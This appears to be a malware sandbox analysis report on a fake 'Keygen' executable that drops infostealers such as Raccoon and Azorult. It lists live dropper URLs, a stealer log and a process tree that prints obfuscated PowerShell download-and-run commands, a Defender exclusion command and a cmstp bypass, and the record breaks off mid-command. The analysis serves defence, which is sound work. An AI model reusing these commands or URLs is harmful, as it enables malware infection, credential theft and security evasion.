Overview

overview

10

Static

static

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

8

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

8

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...en.exe

windows7_x64

10

201001-nyh...en.exe

windows10_x64

10

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

201001-e45lwcxsnn 10

01-10-2020 20:51

201001-fhxddb9gwe 10

01-10-2020 20:51

201001-ts8hns28ea 10

01-10-2020 20:51

201001-v1kt3kgljx 10

01-10-2020 20:51

201001-d2fbtjzv4s 10

01-10-2020 20:51

201001-cgj9prs442 10

01-10-2020 20:49

201001-t1jnpvwcgx 10

Analysis

  • max time kernel
    67s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    01-10-2020 20:51

General

  • Target

    201001-nyhbt4p25j_pw_infected/Keygen — копия (51) — копия.exe

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note
[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 02:04:15 GMT Bot_ID: 18823CA4-5761-4226-8787-CF36135F1C68_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: LZUKLIOU - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (804 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon log file 1 IoCs

    Detects a log file produced by the Raccoon Stealer.

  • ModiLoader First Stage 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (51) — копия.exe
    "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (51) — копия.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:336
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D150.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (51) — ?????.exe""
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Users\Admin\AppData\Local\Temp\D150.tmp\Keygen.exe
        Keygen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:3832
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D150.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3648
          • C:\Users\Public\srx.exe
            "C:\Users\Public\srx.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4892
            • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
              "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:5116
              • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:3716
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 3716 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\160192911881243\\* & exit
                  8⤵
                    PID:4100
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /pid 3716
                      9⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4132
              • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of SetWindowsHookEx
                PID:4232
                • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                  "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:4268
              • C:\Users\Public\srx.exe
                "C:\Users\Public\srx.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops desktop.ini file(s)
                PID:3932
                • C:\Users\Admin\AppData\Local\Temp\n9IN41eqtm.exe
                  "C:\Users\Admin\AppData\Local\Temp\n9IN41eqtm.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4860
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                    "Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\n9IN41eqtm.exe"'
                    8⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4548
                • C:\Users\Admin\AppData\Local\Temp\Na5iLhIzJs.exe
                  "C:\Users\Admin\AppData\Local\Temp\Na5iLhIzJs.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:5008
                • C:\Users\Admin\AppData\Local\Temp\SjEbhqox4V.exe
                  "C:\Users\Admin\AppData\Local\Temp\SjEbhqox4V.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:3972
                  • \??\c:\windows\SysWOW64\cmstp.exe
                    "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\l1zt5ix4.inf
                    8⤵
                      PID:4852
                  • C:\Users\Admin\AppData\Local\Temp\O8oAySpTMj.exe
                    "C:\Users\Admin\AppData\Local\Temp\O8oAySpTMj.exe"
                    7⤵
                    • Executes dropped EXE
                    • Windows security modification
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4920
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "powershell" Get-MpPreference -verbose
                      8⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4308
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\srx.exe"
                    7⤵
                      PID:4296
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        8⤵
                        • Delays execution with timeout.exe
                        PID:4540
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D150.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3220
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3660
            • C:\Windows\SysWOW64\timeout.exe
              timeout 1
              3⤵
              • Delays execution with timeout.exe
              PID:3940
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D150.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3812
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = 